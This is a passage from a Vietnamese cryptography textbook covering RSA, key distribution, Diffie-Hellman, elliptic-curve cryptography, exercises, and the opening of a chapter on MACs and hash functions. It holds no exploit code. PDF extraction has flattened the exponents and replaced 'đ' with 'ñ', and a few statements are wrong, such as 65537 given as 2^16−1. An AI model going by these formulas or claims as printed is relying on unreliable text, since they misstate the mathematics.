o Ta có N=p.q
o Ф(N)=(p-1)(q-1)
o e.d=1 mod Ф(N)
o e.d=1+k.Ф(N) ñối với một giá trị k nào ñó.
Suy ra
o Cd = (Me)d = M1+k.Ф(N) = M1.(MФ(N))k suy ra
Cd modN = M1.(1)k modN = M1 modN = M modN

Ví dụ
1. Chọn các số nguyên tố: p=17 & q=11.
2. Tính n = pq, n = 17×11=187
3. Tính Ф(n)=(p–1)(q-1)=16×10=160
4. Chọn e : gcd(e,160)=1; Lấy e=7
5. Xác ñịnh d: de=1 mod 160 và d < 160
Giá trị cần tìm là d=23, vì 23×7=161= 10×160+1
6. In khoá công khai KU={7,187}
7. Giữ khoá riêng bí mật KR={23,17,11}

Ví dụ áp dụng mã RSA trên như sau:


• Cho mẩu tin M = 88 (vậy 88<187)
• Mã C = 887 mod 187 = 11
• Giải mã M = 1123 mod 187 = 88
• Có thể dùng ñịnh lý phần dư Trung Hoa ñể giải mã cho nhanh như sau:
a. Tính 1123 mod 11 = 0
- 91 -

b. Tính 1123mod 17 = (-6)23 mod 17 = (-6)16(-6)4 (-6)2 (-6) mod 17 = 3


Vì (-6)2 mod 17 = 2, nên (-6)4 mod 17 = 4, (-6)8 mod 17 = -1
(-6)16 mod 17 = 1
c. 11-1 mod 17 = (-6)-1 mod 17 = 14 nên c2 = 11(11-1 mod 17) = 11 (14 mod 17)
= 154
d. Vậy M = (3.154) mod 187 = 462 mod 187 = 88
V.2.3 Lũy thừa
Trong các bài toán mã hoá công khai, chúng ta sử dụng nhiều phép toán lũy thừa với số
mũ lớn. Như vậy cần có thuật toán nhanh hiệu quả ñối với phép toán này. Trước hết ta
phân tích số mũ theo cơ số 2, xét biểu diễn nhị phân của số mũ, sau ñó sử dụng thuật toán
bình phương và nhân. Khái niệm ñược dựa trên phép lặp cơ sở bình phương và nhân ñể
nhận ñựơc kết quả mong muốn. ðộ phức tạp của thuật toán là O(log2 n) phép nhân ñối
với số mũ n.
Ví dụ:
75 = 74.71 = 3.7 = 10 mod 11
vì 72 = 7.7 = 49 = 5 mod 11
74 = 72.72 = 5.5 = 3 mod 11

3129 = 3128.31 = 5.3 = 4 mod 11


Phân tích số mũ theo cơ số 2
Trước hết ta chuyển số mũ từ cơ số 10 sang cơ số 2: (11)10 = (1011)2. Sau ñó tính toán
như sau:
M11 = M1.2^3 + 0.2^2+ 1.2^1 + 1.2^0
= (M1.2^2 + 0.2^1+ 1.2^0 )2M
= (M1.2^1 + 0.2^0)2M)2M
= ((M2)2 M)2M
Thuật toán lũy thừa
Giả sử b1b2…bk là biểu diễn cơ số 2 của c.
Tính ac mod n
- 92 -

Trong thuật toán trên giá trị của c chỉ dùng ñể kiểm tra số mũ của lũy thừa. Còn d chính
là giá trị lũy thừa cần tính và a là cơ số của luỹ thừa.

V.2.4 Mã hiệu quả:


Mã sử dụng lũy thừa của khoá công khai e, nếu giá trị của e nhỏ thì tính toán sẽ nhanh,
nhưng dễ bị tấn công. Thường chọn e nhỏ hơn hoặc bằng 65537 (216-1), tức là ñộ dài
khoá công khai là 16 bit. Chẳng hạn trong ví dụ trên ta có thể lựa chọn e = 23 hoặc e = 7.
Ta có thể tính mã hoá nhanh, nếu biết n=pq và sử dụng ðịnh lý phần dư Trung Hoa với
mẩu tin M theo các Modulo p và q khác nhau. Nếu khoá công khai e cố ñịnh thì cần tin
tưởng rằng khi chọn n ta luôn có gcd(e,Ф(n)) = 1. Loại bỏ mọi p, q mà làm cho Ф(n)
không nguyên tố cùng nhau với e.

V.2.5 Giải mã hiệu quả:


Có thể sử dụng ðịnh lý phần dư Trung Hoa ñể tính theo mod p và q, sau ñó kết hợp lại
ñể tìm ra bản rõ. Vì ở ñây người sử dụng khoá riêng biết ñược p và q, do ñó có thể sử
dụng kỹ thuật này. Nếu sử dụng ñịnh lý phần dư Trung Hoa ñể giải mã thì hiệu quả là
nhanh gấp 4 lần so với giải mã tính trực tiếp.

V.2.6 Sinh khoá RSA


Người sử dụng RSA cần phải xác ñịnh ngẫu nhiên 2 số nguyên tố rất lớn, thông thường
khoảng 512 bit. Do ñó việc sinh ra ngẫu nhiên p, q và kiểm tra xác suất tính nguyên tố
của chúng có nhiều giải pháp khác nhau với ñộ tin cậy cao. Sau khi chọn ñược một khoá
e hoặc d nguyên tố cùng nhau với Ф(n), dễ dàng tính ñược khoá kia chính là số nghịch
ñảo của nó qua thuật toán Euclide mở rộng.
V.2.7 An toàn của RSA
Trên thực té có nhiều cách tấn công khác nhau ñối với mã công khai RSA như sau:
Tìm kiếm khoá bằng phương pháp vét cạn, phương pháp này không khả thi với kích
thước ñủ lớn của các số hoặc tấn công bằng toán học dựa vào ñộ khó việc tính Ф(n) bằng
cách phân tích n thành hai số nguyên tố p và q hoặc tìm cách tính trực tiếp Ф(n). Trong
quá trình nghiên cứu việc thám mã người ta ñề xuất kiểu tấn công thời gian trong khi giải
mã, tức là căn cứ vào tốc ñộ mã hoá và giải mã các mẩu tin cho trước mà phán ñoán các
thông tin về khoá. Cuối cùng có những nghiên cứu tấn công RSA với ñiều kiện biết
trước bản mã cho trước. Cu thể như sau:
- 93 -
Bài toán phân tích
• Tấn công toán học có 3 dạng
o Phân tích N = p.q, sau ñó tính Ф(N) và d
o Tìm n trực tiếp Ф(N) và tính d
o Tìm d trực tiếp
• Hiện tại tin rằng tất cả ñều tương ñương với bài toán phân tích
o Có các bước tiến chậm theo thời gian
o Hiện tại cho rằng RSA 1024 hoặc 2048 là an toàn
• Tấn công thời gian
o Phát triển vào giữa năm 1990
o Paul Kocher chỉ ra rằng kẻ thám mã có thể xác ñịnh ñược khoá riêng nếu theo
dõi thời gian máy tính cần ñể giải mã các bản tin.
o Tấn công thời gian không chỉ áp dụng cho RSA, mà cả với các hệ mã công
khai khác.
o Tấn công thời gian giống như kẻ cướp ñoán số ñiện thọai bằng cách quan sát
một người nào ñó trong bao lâu chuyển quay ñiện thoại từ số này sang số
khác.
• Tấn công bản mã chọn trước
o RSA có ñiểm yếu với tấn công bản mã chọn trước
o Kẻ tấn công chọn bản mã và ñoán bản rõ ñược giải mã
o Chọn bản mã ñể khám phá RSA cung cấp thông tin ñể thám mã
o Có thể tính với bộ ñệm ngãu nhiên của bản rõ
o Hoặc sử dụng bộ ñệm mã hoá phản xứng.

V.3 Quản lý khoá


V.3.1 Phân phối khoá
Mã khoá công khai giúp giải bài toán phân phối khoá, ñây là nhu cầu cấp bách cần phải
tạo ra một cơ chế chia sẻ khoá trong môi trường thường xuyên trao ñổi thông tin và
thường xuyên thay ñổi khoá. Nó bao gồm hai khía cạnh sau:
o Phân phối khoá một cách công khai nhưng ñảm bảo ñược bí mật.
o Sử dụng mã khoá công khai ñể phân phối khoá mật (còn khoá mật dùng ñể mã
hoá thông tin).

V.3.2 Phân phối khoá công khai có thể xem xét ñể ñược sử dụng vào một trong những
việc sau:
o Thông báo công khai khoá của người sử dụng.
o Thư mục truy cập công cộng cho mọi người.
- 94 -
o Chủ quyền khoá công khai, người nắm giữ khoá công khai.
o Chứng nhận khoá công khai, khoá công khai của người sử dụng ñược nơi có
thẩm quyền chứng nhận.

Thông báo công khai


• Người dùng phân phối khoá công khai cho người nhận hoặc thông báo rộng rãi cho
cộng ñồng. Chẳng hạn như người sử dụng có thể tự bổ sung khoá PGP vào thư ñiện
tử hoặc gửi cho nhóm chia sẻ tin hoặc một danh sách thư ñiện tử.
• ðiểm yếu chính của thông báo công khai là mạo danh: một người nào ñó có thể tạo
khoá và tuyên bố mình là một người khác và gửi thông báo cho mọi người khác. Cho
ñến khi giả mạo bị phát hiện thì kẻ mạo danh ñã có thể lừa trong vai trò người khác

Thư mục truy cập công cộng


• Dùng thư mục truy cập công cộng có thể ñạt ñược tính an toàn cao hơn bằng cách
ñăng ký khoá với thư mục công cộng ñể ñăng tải và chia sẻ cho mọi người.
• Thư mục cần ñược ñảm bảo tin cậy với các tính chất sau:
o Chứa việc nhập tên và khoá công khai
o Người dùng ñăng ký mật với Thư mục
o Người dùng có thể thay khoá bất cứ lúc nào
o Thư mục ñược in ñịnh kỳ
o Thư mục có thể truy cập qua mạng
• Mô hình trên vẫn còn có các lỗ hổng ñể kẻ xâm nhập sửa hoặc giả mạo khi vào hệ
thống.

Chủ quyền khoá công khai


ðây là bước cải thiện tính an toàn bằng kiểm soát chặt chẽ tập trung việc phân phối khoá
từ Thư mục. Nó bao gồm các tính chất của một Thư mục như ñã nêu ở phần trước và ñòi
hỏi người dùng biết khoá công khai của Thư mục ñó. Sau ñó người dùng nhận ñược bất
kỳ khoá công khai mong muốn nào một cách an toàn, bằng cách truy cập thời gian thực
ñến Thư mục khi cần ñến khoá. Tuy nhiên yêu cầu truy cập thời gian thực là một nhược
ñiểm của cách phân phối khoá này. Cụ thể trong kịch bản sau hai người sử dụng chia sẻ
khoá công khai của mình cho nhau thông qua việc sử dụng khoá công khai của Chủ
quyền ñể nhận ñược khoá công khai của ñối tác và trao ñổi qua lại ñể khẳng ñịnh người
này ñã biết thông tin của người kia.
- 95 -

Chứng nhận khoá công khai


Chứng nhận cho phép trao ñổi khoá không cần truy cập thời gian thực ñến Chủ quyền thư
mục khoá công khai. ðể làm việc ñó chứng nhận trói danh tính của người sử dụng với
khoá công khai của anh ta và “ñóng dấu và giấy chứng nhận” ñó ñể tránh giả mạo. Các
thông tin ñi kèm thông thường là chu kỳ kiểm ñịnh, quyền sử dụng, thời hạn,…
Nội dung trên ñược ký bởi khoá riêng tin cậy của Chủ quyền chứng nhận (CA, Certificate
Authority). Do khoá công khai của CA ñược thông báo rộng rãi, nên chứng nhận ñó có
thể ñược kiểm chứng bới một người nào ñó biết khoá công khai của Chủ quyền chứng
nhận.
- 96 -

V.3.3 Phân phối công khai các khoá mật


Nói chung có thể sử dụng các phương pháp trên ñể nhận ñược khoá công khai của người
ñịnh trao ñổi thông tin. Khoá công khai ñó dùng cho mục ñích mã hoá, giải mã hoặc xác
nhận thông tin là của ñối tác. Nhưng các thuật toán khoá công khai chậm, nên giá ñể bảo
mật thông tin là ñắt. Do ñó thông thường dùng khoá ñối xứng ñể mã hoá và giải mã nội
dung bản tin, mà còn ñược gọi là khoá phiên hay khóa kỳ (section key). Có một số cách
thỏa thuận khoá phiên phù hợp giữa hai người sư dụng.

Phân phối khoá mật ñơn giản


• ðược ñề xuất bởi Merkle vào năm 1979
o A tạo ra một cặp khoá công khai mới tạm thời
o A gửi B một khoá công khai và danh tính của họ
o B tạo ra khoá phiên và gửi nó cho A sử dụng khoá công khai ñược cung cấp
o A giải mã khoá phiên và cả hai cùng dùng nó.
• Vấn ñề nằm ở chỗ, kẻ thù có thể ngăn hoặc ñóng giả cả hai bên của thủ tục

Nếu có khoá công khai thì khoá phiên ñược trao ñổi an toàn
- 97 -

V.3.4 Trao ñổi khoá hỗn hợp:


Ta có thể kết hợp sử dụng Trung tâm phân phối khoá ñể phân phối khoá phiên như trên
mô hình máy chủ của IBM. Trung tâm chia sẻ khoá chính (master key) với mỗi người sử
dụng. Và phân phối khoá phiên sử dụng khoá chính với Trung tâm. Sơ ñồ khoá công khai
ñược dùng ñể phân phối khoá chính. Sơ ñồ ba lớp này ñặc biệt hữu ích khi người sử dụng
phân tán rộng. Các yêu cầu căn bản của hệ thống là chất lượng thực hiện và sự tương
thích nền tảng.

V.4 Trao ñổi khoá Diffie Hellman


V.4.1 Yêu cầu
Trao ñổi khoá Diffie Hellman là sơ ñồ khoá công khai ñầu tiên ñược ñề xuất
bởi Diffie và Hellman năm 1976 cùng với khái niệm khoá công khai. Sau này ñược biết
ñến bởi James Ellis (Anh), người ñã ñề xuất bí mật năm 1970 mô hình tương tự. ðây là
phương pháp thực tế trao ñổi công khai các khoá mật. Nó thúc ñẩy việc nghiên cứu ñề
xuất các mã khoá công khai. Sơ ñồ ñược sử dụng trong nhiều sản phẩm thương mại.
Là sơ ñồ trao ñổi khoá mật dùng khoá công khai:
o Không thể dùng ñể trao ñổi mẩu tin bất kỳ.
o Tuy nhiên nó có thể thiết lập khoá chung.
o Chỉ có hai ñối tác biết ñến.
o Giá trị khoá phụ thuộc vào các ñối tác (và các thông tin về khoá công khai và
khoá riêng của họ).
o Dựa trên phép toán lũy thừa trong trường hữu hạn (modulo theo số nguyên tố
hoặc ña thức) là bài toán dễ.
o ðộ an toàn dựa trên ñộ khó của bài toán tính logarit rời rạc (giống bài toán
phân tích ra thừa số) là bài toán khó.

V.4.2 Khởi tạo Diffie Hellman


• Mọi người dùng thỏa thuận dùng tham số chung:
o Số nguyên tố rất lớn q hoặc ña thức.
o α là căn nguyên tố của mod q.
• Mỗi người dùng (A chẳng hạn) tạo khoá của mình:
o Chọn một khoá mật (số) của A: xA < q
x
o Tính khoá công khai của A: yA = α A mod q.
o Mỗi người dùng thông báo công khai khoá của mình yA.
- 98 -

V.4.3 Trao ñổi khoá Diffie Hellman


• Khoá phiên dùng chung cho hai người sử dụng A, B là KAB
KAB = αxA.xB mod q

= yAxB mod q (mà B có thể tính)


= yBxA mod q (mà A có thể tính)
• KAB ñược sử dụng như khoá phiên trong sơ ñồ khoá riêng giữa A và B
• A và B lần lượt trao ñổi với nhau, họ có khoá chung KAB cho ñến khi họ chọn khoá
mới.
• Kẻ thám mã cần x, do ñó phải giải tính logarit rời rạc

Ví dụ:
Hai người sử dụng Alice & Bob muốn trao ñổi khoá phiên:
• ðồng ý chọn số nguyên tố q=353 và α=3
• Chọn các khoá mật ngẫu nhiên:
A chọn xA=97, B chọn xB=233
• Tính các khoá công khai:
yA=397 mod 353 = 40 (Alice)

yB=3233 mod 353 = 248 (Bob)


• Tính khoá phiên chung:
KAB= yBxA mod 353 = 24897 = 160 (Alice)

KAB= yAxB mod 353 = 40233 = 160 (Bob)

V.5 Mã ñường cong Elip


ðể ñảm bảo tính an toàn ña số mã công khai sử dụng số học số nguyên lớn hoặc ña thức
với các số nguyên rất lớn hoặc ña thức bậc cao. Do ñó buộc phải tải phần quan trọng vào
kho nhớ ñể xử lý khoá và mẩu tin. Làm như vậy vừa tốn bộ nhớ vừa dễ mất an toàn. ðể
khắc phục ñiều ñó mà vẫn ñảm bảo ñộ an toàn của mã công khai, người ta ñã ñề xuất
cách khác là dùng ñường cong Elip. Ở ñây các phép toán ñược thực hiện trên các xâu bit
có kích thước nhỏ hơn.

V.5.1 Mã ñường cong Elip thực


• ðường cong Elip ñược ñịnh nghĩa bởi phương trình với 2 biến x, y và hệ số thực
• Xét ñường cong Elip bậc 3 dạng:
- 99 -

y2 = x3 + ax + b
trong ñó x, y, a, b là các số thực và ñịnh nghĩa thêm ñiểm O.
• Có phép cộng ñối với ñường cong Elip
o Về hình học tổng của P và Q là ñiểm ñối xứng của giao ñiểm R
o ðiểm O ñóng vai trò là ñơn vị ñối với phép cộng và nó là ñiểm vô cực.

V.5.2 ðường cong Elip hữu hạn


• Mã ñường cong Elip sử dụng ñường cong Elip mà các biến và hệ số là hữu hạn.
• Có hai họ ñược sử dụng nói chung:
o ðường cong nguyên tố Ep(a,b) ñược xác ñịnh trên Zp
 Sử dụng các số nguyên modulo số nguyên tố
 Tốt nhất trong phần mềm
o ðường cong nhị phân E2n(a,b)xác ñịnh trên GF(2n)
 Sử dụng ña thức với hệ số nhị phân
 Tốt nhất trong phần cứng

V.5.3 ðường cong Elip (ECC – Elliptic Curve Cryptography)


Trong ECC phép cộng giống phép nhân của modulo và phép cộng lặp trong ECC (tức là
phép nhân một ñiểm với một hệ số) giống như phép lũy thừa của modulo.
Bài toán sau ñây trong ECC là bài toán khó tương ñương với bài toán logarit rời rạc:
o Giả sử cho Q = k.P, trong ñó P, Q là 2 ñiểm của ñường cong Elip
- 100 -
o Dễ dàng tính Q, nếu cho trước P, k
o Rất khó tìm k, nếu cho trước P, Q. Bài toán tìm hệ số k chính là bài toán khó
bài toán logarit ñường cong Elip. Mã ñường cong Elip dựa trên bài toán khó
một chiều này ñể dấu khoá riêng.
Ví dụ: Xét E11(1,6).
Các phép cộng sau ñây thực hiện trong Modulo 11.

V.5.4 ECC Diffie Hellman


Chẳng hạn dựa trên cơ sở ñộ khó của bài toán tìm hệ số liên hệ giữa hai ñiểm như trên,
người ta ñưa ra sơ ñồ trao ñổi khoá ECC Diffie Hellman giồng như trao ñổi khoá Diffie
Helman thông thường. Ở ñây phép lũy thừa trong Modulo thông thường ñược thay bằng
phép nhân một ñiểm với hệ số trong ECC và phép logarit rời rạc ñược thay bằng phép
toán cho 2 ñiểm tìm hệ số liên hệ giữa chúng. Bài toán sau là bài toán khó xác ñịnh ñộ an
toàn của sơ ñồ trao ñổi công khai khoá chung.
• Nhóm người dùng chọn chung một ñường cong Elip phù hợp Ep(a,b)
• Chọn ñiểm cơ sở G=(x1,y1) với bậc lớn, tức là n lớn sao cho nG = O
• Hai người sử dụng A và B chọn khoá riêng của mình: nA< n, nB< n
• Sau ñó họ tính các khoá công khai của A và B: PA=nA×G,PB=nB×G. Và cho công
bố công khai PA và PB.
• Hai người sử dụng dùng chung khoá mật: K=nA×nB×G.
• Mỗi người ñều có cách tính khoá chung ñó bằng cách lấy khoá riêng của mình nhân
với khoá công khai của ñối tác: K=nA×PB, K=nB×PA
- 101 -
V.5.5 ECC mã và giải mã

Có một số cách dùng ñường cong Elip ñể tạo mã công khai, ta xét cách ñơn giản nhất
sau:
Trước hết nhóm người sử dụng cần phải thống nhất chọn một ñường cong Elip phù hợp
và một ñiểm G giống như trong trao ñổi khoá ECC Diffie – Hellman. Mỗi bản tin M
ñược coi như một ñiểm PM trên ñường cong Elip ñó.
• Mỗi người sử dụng chọn một khoá riêng cho mình nA < n
• Và tính khoá công khai ñể công bố PA=nA×G
• ECC mã bản tin M tương ứng với ñiểm PM trên ñường cong Elip bằng cách tạo bản
mã CM là cặp ñiểm trên ñường cong Elip ñó như sau:
CM={kG, PM+k Pb}, k là số ngẫu nhiên
• Ta thực hiện phép toán trên hai ñiểm của CM ñể giải mã tìm PM
PM+kPb–nB(kG) = PM+k(nBG)–nB(kG) = PM
An toàn ECC
Dựa trên bài toán tìm hệ số liên hệ giữa hai ñiểm trên ñường cong Elip gọi là bài toán
logarit trên ñường cong Elip. Phương pháp nhanh nhất giải bài toán trên ñã biết là
“Pollard rho method”. Bài toán này tương ñương với bài toán phân tích ra thừa số,
nhưng có thể sử dụng kích thước khoá nhỏ hơn nhiều, chảng hạn so với RSA. Người ta
chứng minh ñược rằng với ñộ dài khoá bằng nhau các tính toán nói chung là tuơng
ñương. Vậy với ñộ an toàn như nhau ECC có nhiều ưu ñiểm về không gian lưu trữ và
tính an toàn ñi kèm.
- 102 -
Bài tập

1. Tính mã hoá RSA của bản ghi sau:


• p=7, q=11, e = 3, NSD A chọn khoá riêng xA = 7, tính khoá công khai của A
• NSD B gửi bản tin M = 5 và mã bằng khoá công khai của A
• NSD A giải mã sử dụng ñịnh lý phần dư Trung Hoa
2. Tính mã hoá RSA của bản ghi sau:
• p=11, q=13, e = 7, NSD A chọn khoá riêng xA = 9, tính khoá công khai của A
• NSD B gửi bản tin M = 7 và mã bằng khoá công khai của A
• NSD A giải mã sử dụng ñịnh lý phần dư Trung Hoa
3. Tính mã hoá RSA của bản ghi sau:
• p=23, q=31, NSD A chọn khoá riêng xA = 13, tính khoá công khai của A
• NSD B gửi bản tin M = 20 và mã bằng khoá công khai của A
• NSD A giải mã sử dụng ñịnh lý phần dư Trung Hoa
4. Trao ñổi khoá Difie Hellman:
• Chọn số nguyên tố dung chung q = 131 và α = 7,
• NSD A chọn khoá riêng xA = 11
• NSD B chọn khoá riêng xB = 19
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
5. Trao ñổi khoá Difie Hellman:
• Chọn số nguyên tố dung chung q = 131 và α = 7,
• NSD A chọn khoá riêng xA = 11
• NSD B chọn khoá riêng xB = 19
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
6. Mã ñường cong Elip
• Cho hệ ñường cong Elip
y2 = (x3 + x + 1) mod 13
• Vẽ ñồ thị ñường cong trên.
• Cho G = (4, 2)
• NSD A chọn khoá riêng xA = 2
• NSD B chọn khoá riêng xB = 3
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
7. Mã ñường cong Elip
- 103 -
• Cho hệ ñường cong Elip
y2 = (x3 + x + 1) mod 23
• Cho G = (3, 10)
• NSD A chọn khoá riêng xA = 2
• NSD B chọn khoá riêng xB = 3
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
8. Mã Elgamal:
• Cho hệ (G, α, β) trong ñó G là một nhóm với phép nhân và α, β là hai phần tử
của G.
• Công khai G, α, β
• Giữ bí mật luỹ thừa nguyên a thoả mãn: αa = β (ñể tìm ñược a phải giải bài
toán logarit rời rạc là bài toán khó)
• Mã hoá mẫu tin M bằng cách chọn ngẫu nhiên số k và tính:
C=E(M) = (y1, y2) = (αk , M.βk )
• Giải mã: C = y2 . (y1a)-1

a) Áp dụng ví dụ trên cho p = 79, α = 5, a = 3, M = 19 và k = 4. Ở ñây nhóm với


phép nhân là Zp, tính β. Tìm bản mã C của bản rõ M và giải mã

b) Áp dụng ví dụ trên cho p = 191, α = 7, a = 5, M = 29 và k = 9. Ở ñây nhóm


với phép nhân là Zp, tính β. Tìm bản mã C của bản rõ M và giải mã.

c) Áp dụng ví dụ trên cho p = 191, α = 7, a = 5, M = 29 và k = 9. Ở ñây nhóm


với phép nhân là Zp, tính β. Tìm bản mã C của bản rõ M và giải mã.

9. Nêu thuật toán tính lũy thừa của một cơ số cho trước. ðánh giá ñộ phức tạp của
thuật toán ñó.

10. Tại sao có thể nói nếu dùng ðịnh lý Trung Hoa ñể giải mã thì tốc ñộ giải mã
nhanh gấp 4 lần không dùng nó.
- 104 -
CHƯƠNG 6:
XÁC THỰC MẪU TIN VÀ CÁC HÀM HASH
VI.1 Xác thực mẩu tin
VI.1.1 Các khái niệm
Xác thực mẩu tin liên quan ñến các khía cạnh sau khi truyền tin trên mạng
o Bảo vệ tính toàn vẹn của mẩu tin: bảo vệ mẩu tin không bị thay ñổi hoặc có
các biện pháp phát hiện nếu mẩu tin bị thay ñổi trên ñường truyền.
o Kiểm chứng danh tính và nguồn gốc: xem xét mẩu tin có ñúng do người xưng
tên gửi không hay một kẻ mạo danh nào khác gửi.
o Không chối từ bản gốc: trong trường hợp cần thiết, bản thân mẩu tin chứa các
thông tin chứng tỏ chỉ có người xưng danh gửi, không một ai khác có thể làm
ñiều ñó. Như vậy người gửi không thể từ chối hành ñộng gửi, thời gian gửi và
nội dung của mẩu tin.
Ngoài ra có thể xem xét bổ sung thêm các yêu cầu bảo mật như mã hoá. Với mong muốn
ñáp ứng các yêu cầu trên, có 3 hàm lựa chọn sau ñây ñược sử dụng:
o Mã mẩu tin bằng mã ñối xứng hoặc mã công khai.
o Mã xác thực mẩu tin (MAC): dùng khoá và một hàm nén mẩu tin cần gửi ñể
nhận ñược một ñặc trưng ñính kèm với mẩu tin và người gửi ñó.
o Hàm hash (hàm băm) là hàm nén mẩu tin tạo thành “dấu vân tay” cho mẩu tin.
Các yêu cầu bảo mật khi truyền mẩu tin trên mạng.
Tìm các biện pháp cần thiết ñể chống ñối lại các hành ñộng phá hoại như sau:
o ðể lộ bí mật: giữ bí mật nội dung mẩu tin, chỉ cho người có quyền biết.
o Thám mã ñường truyền: không cho theo dõi hoặc làm trì hoãn việc truyền tin.
o Giả mạo: lấy danh nghĩa người khác ñể gửi tin.
o Sửa ñổi nội dung: thay ñổi, cắt xén, thêm bớt thông tin.
o Thay ñổi trình tự các gói tin nhỏ của mẩu tin truyền.
o Sửa ñổi thời gian: làm trì hoãn mẩu tin.
o Từ chối gốc: không cho phép người gửi từ chối trách nhiệm của tác giả mẩu
tin.
o Từ chối ñích: không cho phép người nhận phủ ñịnh sự tồn tại và ñến ñích của
mẩu tin ñã gửi.
VI.1.2 Mã mẩu tin
• Mã mẩu tin bản thân ñã cung cấp một phần tính xác thực, vì khoá ñược chia sẻ giữa
người gửi và người nhận cũng như việc thay ñổi nội dung cũng không dễ dàng thực
hiện nếu không có khoá.
• Cụ thể nếu mã ñối xứng ñược sử dụng thì người nhận biết người gửi phải tạo ra mẩu
tin, vì chỉ có người gửi và người nhận biết ñược khoá sử dụng.
- 105 -
Người nhận có thể biết nội dung không bị sửa ñổi, nếu mẩu tin có cấu trúc phù hợp,
tính dư thừa và tổng kiểm tra ñể phát hiện bất cứ thay ñổi nào.
• Nếu khoá công khai ñược sử dụng thì mã cung cấp không ñủ ñộ tin cậy về người gửi,
vì mọi người ñều có thể biết khoá công khai của người nhận. Tuy nhiên nếu người
gửi ký mẩu tin sử dụng khoá riêng của họ và sau ñó mã với khoá công khai của người
nhận, thì khi ñó ñảm bảo cả tính bảo mật và xác thực của mẩu tin. Cần phải bổ sung
các biện pháp ñể phát hiện các mẩu tin ñã bị làm hỏng. Việc sử dụng khoá riêng của
người gửi kết hợp với khoá công khai của người nhận có nhiều ưu việt, nhưng với giá
phải trả là chậm do dùng 2 mã khoá công khai trên mẩu tin.

VI.1.3 Mã xác thực mẩu tin (MAC – Message Authentication Code)


• Sinh ra bởi một thuật toán mà tạo ra một khối thông tin nhỏ có kích thước cố ñịnh
o Phụ thuộc vào cả mẩu tin và khoá nào ñó.
o Giống như mã nhưng không cần phải giải mã.
• Bổ sung vào mẩu tin như chữ ký ñể gửi kèm theo làm bằng chứng xác thực.
• Người nhận thực hiện tính toán nào ñó trên mẩu tin và kiểm tra xem nó có phù hợp
với MAC ñính kèm không.
• Tạo niềm tin rằng mẩu tin không bị thay ñổi và ñến từ người gửi.

Các mã xác thực mẩu tin MAC cung cấp sự tin cậy cho người nhận là mẩu tin không bị
thay ñổi và từ ñích danh người gửi. Cũng có thể sử dụng mã xác thực MAC kèm theo với
việc mã hoá ñể bảo mật. Nói chung người ta sử dụng các khoá riêng biệt cho mỗi MAC
và có thể tính MAC trước hoặc sau mã hoá, tốt hơn là thực hiện MAC trước và mã hoá
sau.
Sử dụng MAC có nhược ñiểm là MAC phụ thuộc vào cả mẩu tin và cả người gửi, nhưng
ñôi khi chỉ cần xác thực mẩu tin và thông tin xác thực ñó chỉ phụ thuộc mẩu tin ñể lưu trữ
- 106 -
làm bằng chứng cho tính toàn vẹn của nó. Khi ñó người ta sử dụng hàm Hash thay vì
MAC. Cần lưu ý rằng MAC không phải là chữ ký ñiện tử, vì cả người gửi và người nhận
ñều biết thông tin về khoá.

Các tính chất của MAC


MAC là thông tin nén của mẩu tin kết hợp với khoá MAC = CK(M)
o Nén bản tin M có ñộ dài tùy ý
o Sử dụng khoá mật K
o Tạo nên dấu xác thực có ñộ dài cố ñịnh
o Là hàm nhiều - một, nghĩa là có nhiều bản tin khác nhau nhưng có cùng
MAC. Tuy nhiên ta phải lựa chọn hàm MAC sao cho xác suất ñể các mẩu tin
có ý nghĩa có MAC trùng nhau là rất nhỏ. Việc tìm ñược các mẩu tin như vậy
là rất khó khăn
Yêu cầu ñối với MAC
Tuỳ thuộc vào kiểu tấn công mà MAC phải có các tính chất khác nhau ñể chống ñối lại.
Nhưng nói chung MAC phải thỏa mãn các ñiều sau
o Biết mẫu tin và MAC, không thể tìm ñược mẩu tin khác có cùng MAC.
o Các MAC cần phải phân bố ñều
o MAC phải phụ thuộc như nhau vào tất cả các bit trong mẩu tin. Tức là khi
thay ñổi một bit thông tin nào ñó, MAC sẽ có những thay ñổi kéo theo.

VI.1.4 Sử dụng mã ñối xứng cho MAC


• Có thể dùng mã khối với chế ñộ chuỗi móc nối bất kỳ và sử dụng khối cuối cùng của
mã khối làm MAC của mẩu tin.
• Thuật toán xác thực dữ liệu (DAA – Data Authentication Algorithm) là MAC
ñược sử dụng rộng rãi dựa trên chế ñộ DES-CBC, trong ñó
o Sử dụng véc tơ ban ñầu IV = 0 và bộ ñệm 0 của block cuối cùng
o Và mã mẩu tin sử dụng chuẩn mã dữ liệu DES trong chế ñộ CBC
o Gửi lấy block cuối cùng như là MAC của cả mẩu tin
 hoặc M bit trái nhất (16 ≤ M ≤ 64) của khối cuối cùng
• Nhưng bây giờ MAC cuối cùng với kích thước 64 bit cũng là quá nhỏ ñể ñảm bảo an
toàn. Do ñó người ta tìm cách tạo nên các MAC có kích thước lớn hơn.

VI.2 Các hàm Hash (hay còn gọi là hàm băm).


VI.2.1 Các yêu cầu
- 107 -
• Nén mẩu tin bất kỳ về kích thước cố ñịnh. Và giả thiết là hàm hash là công khai và
không dùng khoá. Hash chỉ phụ thuộc mẩu tin, còn MAC phụ thuộc thêm cả vào
khoá.
• Hash ñược sử dụng ñể phát hiện thay ñổi của mẩu tin. Hash có thể sử dụng nhiều
cách khác nhau với mẩu tin, Hash thường ñược kết hợp dùng ñể tạo chữ ký trên mẩu
tin.

Các tính chất của hàm Hash


• Hàm Hash tạo nên dấu vân tay (tức là thông tin ñặc trưng) của một tệp, mẩu tin hay
dữ liệu
h = H(M)
• Nén mẩu tin có kích thước tùy ý về dấu vân tay có kích thước cố ñịnh. Hàm Hash
ñược giả thiết là công khai, mọi người ñều biết cách sử dụng

Các yêu cầu của hàm Hash


• Có thể áp dụng cho mọi mẩu tin có kích thước tuỳ ý. Tuy nhiên phải tạo ñầu ra h có
kích thước cố ñịnh, thường là 128 bit ñến 1024 bit.
• Dễ tính h = H(M)cho mọi mẫu tin M, hàm H tính toán nhanh, hiệu quả phụ thuộc
chặt vào mẩu tin M và không tính toán ngược lại.
• Cho trước h không thể tìm ñược (rất khó) x sao cho H(x) = h. Tính chất này gọi là
tính chất một chiều, chiều tìm nghịch ảnh rất khó khăn, tuy chiều tìm ảnh lại dễ dàng.
